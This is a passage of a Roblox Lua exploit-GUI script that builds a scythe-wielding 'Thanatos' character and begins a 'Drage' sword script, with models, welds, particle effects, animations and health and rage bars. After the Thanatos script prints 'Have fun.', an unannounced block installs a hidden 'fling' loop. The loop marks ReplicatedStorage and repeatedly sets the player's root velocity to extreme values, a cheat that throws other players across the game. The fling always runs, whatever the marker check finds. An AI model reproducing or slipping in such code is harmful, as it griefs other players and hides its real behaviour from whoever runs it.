p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
weld(hnd,p,0,8,0,0,0,0)
p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.2,1.25,1.25))
mesh("Cylinder",p,"","",Vector3.new(1,1,1))
weld(hnd,p,0,8,0,0,-45,0)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.25,1.1,1.1))
mesh("Cylinder",p,"","",Vector3.new(1,1,1))
weld(hnd,p,0,8,0,0,-45,0)
bldbs = part("BladeBase",md,"Black","Granite",0,0,Vector3.new(0.5,1,1))
mesh("Sphere",bldbs,"","",Vector3.new(1,1,1))
bldw=weld(hnd,bldbs,0,8,0,0,0,0)
at0 = Instance.new("Attachment",bldbs)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.175,0.5,0.5))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(bldbs,p,0,-0.05,-0.85,0,0,45)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.175,0.5,0.5))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(bldbs,p,0,0.05,-0.85,0,0,-135)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.175,0.1,0.365))
weld(bldbs,p,0,0,-0.81,0,0,0)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,1.5,1))
weld(bldbs,p,0,0,-1.5,0,0,0)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
weld(bldbs,p,0,0.1,-2,0,0,-8.75)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,1.45,1))
weld(bldbs,p,0,-0.15,-2.55,0,0,-11.25)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
weld(bldbs,p,0,-0.15,-3,0,0,-17.5)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,1.4,1))
weld(bldbs,p,0,-0.45,-3.55,0,0,-22.5)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(1.35,1,0.25))
mesh("Torso",p,"","",Vector3.new(1,1,1))
weld(bldbs,p,0,-0.95,-4.45,90,-90,-33.75)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
weld(bldbs,p,0,-0.55,-4.05,0,0,-26.25)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(1.2,1,0.25))
mesh("Torso",p,"","",Vector3.new(1,1,1))
weld(bldbs,p,0,-1.6,-5.25,90,-90,-45)
at1 = Instance.new("Attachment",p)
scytrl = Instance.new("Trail",bldbs)
scytrl.Attachment0 = at0
scytrl.Attachment1 = at1
scytrl.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,BrickColor.new("Really blue").Color),ColorSequenceKeypoint.new(1,BrickColor.new("Really blue").Color)})
scytrl.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0.25),NumberSequenceKeypoint.new(1,1)})
scytrl.Lifetime = 0.25
scytrl.LightEmission = 0.5
scytrl.Enabled = false
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
weld(bldbs,p,0,-1.25,-4.9,0,0,-37.5)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,0.6,1))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(bldbs,p,0,-2.275,-6.125,0,0,-55)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,0.75,0.25))
weld(bldbs,p,0,-1.95,-5.7,0,0,-55.5)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,0.5,1))
weld(bldbs,p,0,-2.575,-5.675,0,0,-55)
p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,0.25,0.25))
weld(bldbs,p,0,-2.95,-6,0,0,-67.5)
p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,0.5,1))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(bldbs,p,0,-3.5,-6.1,0,0,-75)
hitbox = part("Hitbox",md,"Black","Ice",1,1,Vector3.new(2,4,8))
weld(bldbs,hitbox,0,-1.25,-3,0,0,0)
local htp = emit(hitbox,"rbxasset://textures/particles/sparkles_main.dds",BrickColor.new("Really blue").Color,BrickColor.new("Really blue").Color,1,0,1,"Top",1,5000,0.25,0,360,360,false)
htp.Enabled = false
for i,v in pairs(md:children()) do
NoOut(v)
end
for i,v in pairs(char:children()) do
if v:IsA("Accessory") or v:IsA("Shirt") or v:IsA("Pants") then
v:Destroy()
end
end
Head.face:Destroy()
faic = it("Decal",Head)
faic.Texture = "http://www.roblox.com/asset/?id=163204936"
faic.Face = "Front"
p = part("Eye1",Head,"Really blue","Neon",0,0,Vector3.new(0.1,0.175,0.05))
mesh("Sphere",p,"","",Vector3.new(1,1,1))
weld(Head,p,0.1,0.25,-0.6,0,0,0)
emit(p,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,0),0.1,0.1,1,"Top",0.5,5000,0.25,200,0,360,true)
p = part("Eye2",Head,"Really blue","Neon",0,0,Vector3.new(0.1,0.175,0.05))
mesh("Sphere",p,"","",Vector3.new(1,1,1))
weld(Head,p,-0.1,0.25,-0.6,0,0,0)
emit(p,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,0),0.1,0.1,1,"Top",0.5,5000,0.25,200,0,360,true)
local md2 = Instance.new("Model",char)
md2.Name = "Armor"
p = part("Hood",md2,"Black metallic","Pebble",0,0,Vector3.new(2.2, 2.4, 1.8))
mesh("FileMesh",p,"http://www.roblox.com/asset/?id=85855767","",Vector3.new(1.1,1.1,1.1))
weld(Head,p,0,-0.375,0,0,0,0)
-- Torso Armor
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(2.05,1.26,1.05))
weld(torso,p,0,-0.375,0,0,0,0)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.75,0.76,1.05))
weld(torso,p,0.65,0.625,0,0,0,0)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(1.025,0.76,0.75))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(torso,p,-0.1,0.625,-0.0075,0,90,0)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(1.025,0.76,0.75))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(torso,p,0.1,0.625,-0.01,0,-90,0)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.75,0.76,1.025))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(torso,p,-0.1,0.625,0.0124,0,0,0)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.75,0.76,1.05))
weld(torso,p,-0.65,0.625,0,0,0,0)
-- Pants
p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(1.01,2.01,1.01))
weld(rleg,p,0,0.005,0,0,0,0)
p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(1.01,2.01,1.01))
weld(lleg,p,0,0.005,0,0,0,0)
--Gauntlet
p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(1.01,0.25,1.01))
weld(larm,p,0,0,0,0,0,0)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.05,0.75,0.5))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(larm,p,-0.5,0.15,-0.1,0,0,-20.1)
p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.05,0.75,0.5))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(larm,p,-0.5,0.15,0.1,0,180,20.1)
p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(0.5,0.125,0.375))
mesh("Torso",p,"","",Vector3.new(1,1,1))
weld(larm,p,-0.325,0.15,0,0,90,0)
p = part("Part",md2,"Really blue","Neon",0,0,Vector3.new(0.05,0.5,0.25))
mesh("Wedge",p,"","",Vector3.new(1,1,1))
weld(larm,p,-0.48,-0.15,-0.055,180,0,17.5)
p = part("Part",md2,"Really blue","Neon",0,0,Vector3.new(0,0.4,0.125))
mesh("Sphere",p,"","",Vector3.new(1,1,1))
weld(larm,p,-0.55,0.075,0,0,0,0)
for i,v in pairs(md2:children()) do
NoOut(v)
end
-- Animations --
function Animate()
while true do
wait()
sine = sine + change
local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
local velderp=RootPart.Velocity.y
hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
if equipped==true or equipped==false then
if attack==false then
idle=idle+1
else
idle=0
end
if idle>=500 then
if attack==false then
end
end
if RootPart.Velocity.y > 1 and hitfloor==nil then
Anim="Jump"
if attack==false then
hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-10),math.rad(0),math.rad(0)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(20),math.rad(0),math.rad(15)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(20),math.rad(0),math.rad(-15)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
end
elseif RootPart.Velocity.y < -1 and hitfloor==nil then
Anim="Fall"
if attack==false then
hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-10),math.rad(0),math.rad(0)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(15),math.rad(0),math.rad(15)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(-50),math.rad(0),math.rad(-30)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
end
elseif torvel<1 and hitfloor~=nil then
Anim="Idle"
if attack==false then
hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
bldw.C0=clerp(bldw.C0,BLDWLD,.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(20),math.rad(0),math.rad(17.5)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(40)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(10),math.rad(10),math.rad(-10)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-70),math.rad(-5)),.3)
end
elseif torvel>2 and torvel<22 and hitfloor~=nil then
Anim="Walk"
if attack==false then
change=3
hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-10),math.rad(0),math.rad(0)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(55),math.rad(0),math.rad(45)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(-20),math.rad(0),math.rad(-15)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
end
elseif torvel>=22 and hitfloor~=nil then
Anim="Run"
if attack==false then
end
end
end
end
end
delay(0,Animate)
-- Attacks --
function HadesSlice()
attack = true
Humanoid.WalkSpeed = 8
wait()
for _=0,1,0.1 do
wait()
hndwld.C0=clerp(hndwld.C0,HDWLD*angles(math.rad(90),math.rad(-90),math.rad(45)),.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-50)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(20),math.rad(0),math.rad(50)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(40)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(120),math.rad(50),math.rad(-70)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-70),math.rad(-5)),.3)
end
wait(0.05)
htp.Enabled = true
scytrl.Enabled = true
scytrl.Lifetime = 1
snd("rbxassetid://588693579",0.9)
snd("rbxassetid://588737825",1)
for _=0,1,0.1 do
wait()
hndwld.C0=clerp(hndwld.C0,HDWLD*angles(math.rad(22.5),math.rad(0),math.rad(180)),.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(50)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(20),math.rad(0),math.rad(-50)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(60),math.rad(0),math.rad(40)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(10),math.rad(10),math.rad(-10)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-70),math.rad(-5)),.3)
end
scytrl.Lifetime = 0.25
scytrl.Enabled = false
htp.Enabled = false
wait(0.15)
attack = false
Humanoid.WalkSpeed = 16
end
function Teleport()
attack = true
Humanoid.WalkSpeed = 0
Humanoid.JumpPower = 0
htp.Enabled = true
scytrl.Enabled = true
scytrl.Lifetime = 1
licht = Instance.new("PointLight",Torso)
licht.Brightness = 1000
licht.Range = 0
licht.Color = BrickColor.new("Really blue").Color
fx = Instance.new("Part",char)
fx.Transparency = 1
fx.Anchored, fx.CanCollide = true, false
fx.Position = Torso.Position - Vector3.new(0,2,0)
fx.Size = Vector3.new(25,1,25)
game.Debris:AddItem(fx,2)
fxem = emit(fx,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,1),2.5,0.1,0.875,"Top",1.5,5000,5,200,0,0,false)
fxem.Enabled = true
fxem2 = emit(Torso,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,1),2.5,0.1,1,"Top",1.5,5000,0,200,360,360,false)
fxem2.Enabled = true
fxem2.ZOffset = 2
game.Debris:AddItem(fxem2,3)
wait()
for _=0,1,0.1 do
wait()
licht.Range = licht.Range + 1
fx.Rotation = Torso.Rotation + Vector3.new(0,licht.Range*2.5,0)
hndwld.C0=clerp(hndwld.C0,HDWLD*cf(0,5.75,1.5)*angles(math.rad(-33.75),math.rad(70),math.rad(-22)),.3)
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(10)),.3)
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(-10)),.3)
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
end
wait(0.15)
htp.Enabled = true
scytrl.Enabled = false
scytrl.Lifetime = 0.25
snd("rbxassetid://588734356",0.9)
snd("rbxassetid://588737825",1)
pos = Mouse.Hit.p + Vector3.new(0,2,0)
char.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
scytrl.Lifetime = 0.25
scytrl.Enabled = false
htp.Enabled = false
attack = false
Humanoid.JumpPower = 50
Humanoid.WalkSpeed = 16
fxem.Enabled = false
licht:Destroy()
fxem2.Speed = NumberRange.new(10)
fxem2.Enabled = true
game.Debris:AddItem(fx,2)
wait(0.25)
fxem2.Enabled = false
end
mouse.KeyDown:connect(function(k)
k=k:lower()
if k=="z" and attack == false then
HadesSlice()
elseif k=="x" and attack == false then
Teleport()
end
end)
local con = hitbox.Touched:connect(function(hit)
if attack == true then
if hit.Parent == nil then
return
end
h = hit.Parent:FindFirstChild("Humanoid")
for _, v in pairs(hit.Parent:children()) do
if v:IsA("Humanoid") then
h = v
end
end
if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Torso") ~= nil then
end
end
end)
local con2 = fhnd.Touched:connect(function(hit)
if attack == true then
if hit.Parent == nil then
return
end
h = hit.Parent:FindFirstChild("Humanoid")
for _, v in pairs(hit.Parent:children()) do
if v:IsA("Humanoid") then
h = v
end
end
if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Torso") ~= nil then
end
end
end)
-- And, one last thing... --
print("Yeox engine loaded.")
wait()
print("Script: Thanatos.")
wait()
print("Have fun.")
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end)
end;
task.spawn(C_85);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_87()
local script = G2L["87"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--[[ put your name where it says yourname -ulti55 ]]
Plrs = game:GetService("Players")
me = Plrs.LocalPlayer
char = me.Character
Modelname = "xWep"
Toolname = "Drage"
Able = true
Selected = false
Deb = true
Hurt = false
CritMultiplier = 1.6
ComboOn = false
AbleToBreak = false
CounterKey = false
Attack = 1
AddDamage = 0
AddDamageX = 1
AddShield = 0
Dmgs = {Smash = {"Smash", 25, 2, 3, false}, Slash = {"Slash", 18, 1, 3, false}, SideSlash = {"SideSlash", 18, 1, 3, false},
DoubleSlash = {"Double Slash", 20, 1, 2, false}, Spin = {"Spin Slash", 30, 2, 5, true, 30}, Boom = {"Boom", 60, 6, 6, true, 50, 16},
RageMode = {"RAGE", 8, 1.35, 1, 50}, Counter = {"Counter", 25, 1, 1, true, 15}, RageSlash = {"Rage Slash", 40, 3, 7, true, 30}}
RageMode = false
Mode = Dmgs.Slash
AbleAll = true
necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Aim = false
LineColor = "White"
EffectColor3 = "Bright red"
EffectColor2 = "White"
EffectColor = "Pastel Blue"
MainColor = "Navy blue"
BladeColor = "Pastel Blue"
BlockBars = {}
MaxRage = 100
Rage = MaxRage
CritChance = 5 --Percent
for _, v in pairs(char:children()) do
if v.Name == "Block" then v:remove() end
end
BlockRealPowa = 4
Block = Instance.new("BoolValue")
Block.Name = "Block"
Block.Value = false
BlockPower = Instance.new("IntValue")
BlockPower.Name = "BlockPower"
BlockPower.Value = BlockRealPowa
BlockPower.Parent = Block
Block.Parent = char
CA = CFrame.Angles
CN = CFrame.new
MR = math.rad
MP = math.pi
MD = math.deg
MH = math.huge
MRA = math.random
EffPos = CFrame.new(0, 0.5, 0)
Sounds = {
Equip = {"rbxasset://sounds//unsheath.wav", 0.7, 0.6},
Hit = {"http://www.roblox.com/asset/?id=2801263", 0.9, 0.6},
Block = {"", 1, 0.5},
Slash = {"rbxasset://sounds//swordslash.wav", 2, 0.8},
SmashHit = {"rbxasset://sounds\\metal.ogg", 1.5, 0.8},
Jump = {"rbxasset://sounds/swoosh.wav", 1, 1},
Boom = {"http://www.roblox.com/asset?id=1369158", 1.2, 1},
SmashBoom = {"http://www.roblox.com/asset/?id=2760979", 0.25, 1},
Jump2 = {"http://www.roblox.com/asset/?id=2101148", 2, 1},
GoRage = {"http://www.roblox.com/asset/?id=2767090", 1, 1},
Shout = {"http://www.roblox.com/asset/?id=2676305", 1.1, 0.8},
RageOff = {"http://www.roblox.com/asset/?id=3264793", 1.6, 0.6},
}
Add = {
Sphere = function(P)
local m = Instance.new("SpecialMesh",P)
m.MeshType = "Sphere"
return m
end,
BP = function(P)
local bp = Instance.new("BodyPosition",P)
bp.maxForce = Vector3.new(MH, MH, MH)
bp.P = 14000
return bp
end,
BG = function(P)
local bg = Instance.new("BodyGyro",P)
bg.maxTorque = Vector3.new(MH, MH, MH)
bg.P = 14000
return bg
end,
Mesh = function(P, ID, x, y, z)
local m = Instance.new("SpecialMesh")
m.MeshId = ID
m.Scale = Vector3.new(x, y, z)
m.Parent = P
return m
end,
Head = function(P)
local s = Instance.new("SpecialMesh")
s.MeshType = "Head"
s.Parent = P
return s
end,
Sound = function(P, ID, vol, pitch)
local s = Instance.new("Sound")
s.SoundId = ID
s.Volume = vol
s.Pitch = pitch
s.Parent = P
return s
end
}
function RC(Pos, Dir, Max, Ignore)
return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999)), Ignore)
end
function RayC(Start, En, MaxDist, Ignore)
return RC(Start, (En - Start), MaxDist, Ignore)
end
function Notime(func, tim)
coroutine.resume(coroutine.create(function()
if tim then
wait(tim)
end
func()
end))
end
function waitChild(parent, name)
local child = parent:findFirstChild(name)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name == name then return child end
end
end
function ComputePos(pos1, pos2)
local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
return CFrame.new(pos1, pos3)
end
function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
local p = Instance.new("Part")
p.formFactor = "Custom"
p.Anchored = Anchor
p.CanCollide = Collide
p.Transparency = Tran
p.Reflectance = Ref
p.BrickColor = BrickColor.new(Color)
p.TopSurface = 0
p.BottomSurface = 0
p.Size = Vector3.new(X, Y, Z)
if Break then
p:BreakJoints()
else p:MakeJoints() end
p.Parent = Parent
p.Locked = true
return p
end
function Weld(p0, p1, x, y, z, a, b, c)
local w = Instance.new("Weld")
w.Parent = p0
w.Part0 = p0
w.Part1 = p1
w.C1 = CN(x,y,z) * CA(a,b,c)
return w
end
torso = char.Torso
neck = torso.Neck
hum = char.Humanoid
Rarm = char["Right Arm"]
Larm = char["Left Arm"]
Rleg = char["Right Leg"]
Lleg = char["Left Leg"]
hc = Instance.new("Humanoid")
hc.Health = 0
hc.MaxHealth = 0
function getHumanoid(c)
local h = nil
for i,v in pairs(c:children()) do
if v:IsA("Humanoid") and c ~= char then
if v.Health > 0 then
h = v
end
end
end
return h
end
function getCharacters(where, pos, dist)
local chars = {}
for _, v in pairs(where:children()) do
local hum = getHumanoid(v)
local tors = v:findFirstChild("Torso")
if tors ~= nil and hum ~= nil then
local anypart = nil
for _,k in pairs(v:children()) do
if k:IsA("BasePart") then
if (k.Position - pos).magnitude <= dist then
anypart = k
break
end
end
end
if anypart then
table.insert(chars, {v, tors, hum})
end
end
end
return chars
end
function PlaySound(id, pitch, vol)
local s = Add.Sound(nil, id, vol, pitch)
if pitch ~= nil then
if tonumber(pitch) then
s.Pitch = tonumber(pitch)
end
end
if vol ~= nil then
if tonumber(vol) then
s.Volume = tonumber(vol)
end
end
s.Parent = torso
s.PlayOnRemove = true
Notime(function()
wait()
s:remove()
end)
end
function playz(sound)
PlaySound(sound[1], sound[2], sound[3])
end
PlrGui = waitChild(me, "PlayerGui")
for _, v in pairs(char:children()) do if v.Name == Modelname then v:remove() end end
for _, v in pairs(PlrGui:children()) do
if v.Name == "HealthGUI" or v.Name == "MyGui" then
v:remove()
end
end
function EditGui(obj, parent, size, position, bgcolor, bordercolor, transparency, text, textcolor, auto)
obj.Size = size
obj.Position = position
obj.BackgroundColor3 = bgcolor
obj.BorderColor3 = bordercolor
obj.BackgroundTransparency = transparency
if obj:IsA("TextLabel") or obj:IsA("TextButton") then
obj.Text = text
obj.TextColor3 = textcolor
end
if obj:IsA("ImageButton") or obj:IsA("TextButton") then
obj.AutoButtonColor = auto
obj.MouseButton1Down:connect(function()
RemoveOptions()
end)
end
obj.Parent = parent
end
C3 = Color3.new
UD = UDim2.new
Sc = Instance.new("ScreenGui", PlrGui)
Sc.Name = "MyGui"
Fr = Instance.new("Frame")
EditGui(Fr, Sc, UD(0, 60, 0, 250), UD(1, -70, 0.5, -125), C3(0.1, 0.2, 0.5), C3(), 0)
HealthBack = Instance.new("Frame")
EditGui(HealthBack, Fr, UD(0, 25, 1, -20), UD(0, 3, 0, 10), C3(0.2, 0, 0), C3(), 0)
RageBack = Instance.new("Frame")
EditGui(RageBack, Fr, UD(0, 25, 1, -20), UD(1, -27, 0, 10), C3(0.2, 0, 0), C3(), 0)
local hp = hum.Health/hum.MaxHealth
if hp > 1 then hp = 1 elseif hp < 0 then hp = 0 end
HealthBar = Instance.new("ImageLabel")
EditGui(HealthBar, HealthBack, UD(1, 0, hp, 0), UD(0, 0, 0, 0), C3(0.1, 0.65, 0), C3(), 0)
HealthBar.Image = "http://www.roblox.com/asset/?id=50051953"
RageBar = Instance.new("ImageLabel")
EditGui(RageBar, RageBack, UD(1, 0, Rage/MaxRage, 0), UD(0, 0, 0, 0), C3(1, 0.6, 0.15), C3(), 0)
RageBar.Image = "http://www.roblox.com/asset/?id=50051953"
RageAmount = Instance.new("TextLabel")
EditGui(RageAmount, RageBack, UD(1, 0, 0, 0), UD(0, 0, 0, 0), C3(1, 0.6, 0.15), C3(), 0, Rage, C3(1,1,1))
RageAmount.TextYAlignment = "Top"
AimButton = Instance.new("TextButton")
EditGui(AimButton, Fr, UD(1, 0, 0, 35), UD(0, 0, 1, 0), C3(0.9, 0.2, 0.3), C3(), 0, "AIM: OFF", C3(), true)
AimButton.TextWrap = true
AimButton.Font = "ArialBold"
AimButton.FontSize = "Size14"
AimButton.MouseButton1Down:connect(function()
if Aim then
Aim = false
AimButton.Text = "AIM: OFF"
AimButton.BackgroundColor3 = C3(0.9, 0.2, 0.3)
else
Aim = true
AimButton.Text = "AIM: ON"
AimButton.BackgroundColor3 = C3(0.3, 0.85, 0.1)
end
end)
for i = 1, BlockRealPowa do
local gui = Instance.new("ImageLabel")
EditGui(gui, Fr, UD(0, 16, 0, 16), UD(0, -18, 0.5, 20*(i-1)-((BlockRealPowa*20)/2)), C3(), C3(), 1)
gui.Image = "http://www.roblox.com/asset/?id=48908046"
table.insert(BlockBars, gui)
end
BlockPower.Changed:connect(function()
for _, v in pairs(BlockBars) do
v.Image = ""
end
for i = 1, BlockPower.Value do
local gui = BlockBars[i]
if gui then
gui.Image = "http://www.roblox.com/asset/?id=48908046"
end
end
end)
Mo = Instance.new("Model")
Mo.Name = Modelname
RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
HB = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
HBW = Weld(Rarm, HB, 0, 0, 1, MP/2, 0, 0)
HW = Weld(HB, nil, 0, 0, 0, 0, 0, 0)
SW = Weld(Larm, nil, -0.5, 0, 0.3, MP/2, 0, 0)
TH = Weld(torso, nil, 0, 2.5, 0, MR(145), 0, 0)
TH.C0 = CN(0, -0.3, 0.75) * CA(0, MP/2, 0)
Weapon = Instance.new("Model")
Weapon.Name = "Weapon"
Handle = Part(Weapon, false, false, 0, 0, MainColor, 0.4, 1.8, 0.4)
Add.Head(Handle)
Tip1 = Part(Weapon, false, false, 0, 0, "Deep blue", 0.45, 1.2, 0.45)
Add.Head(Tip1)
Weld(Handle, Tip1, 0, 0, 0, 0, 0, 0)
Tip2 = Part(Weapon, false, false, 0, 0, "Bright blue", 0.5, 0.5, 0.5)
Weld(Handle, Tip2, 0, 0.9, 0, 0, 0, 0)
Add.Mesh(Tip2, "http://www.roblox.com/asset/?id=9756362", 0.75, 0.5, 0.75)
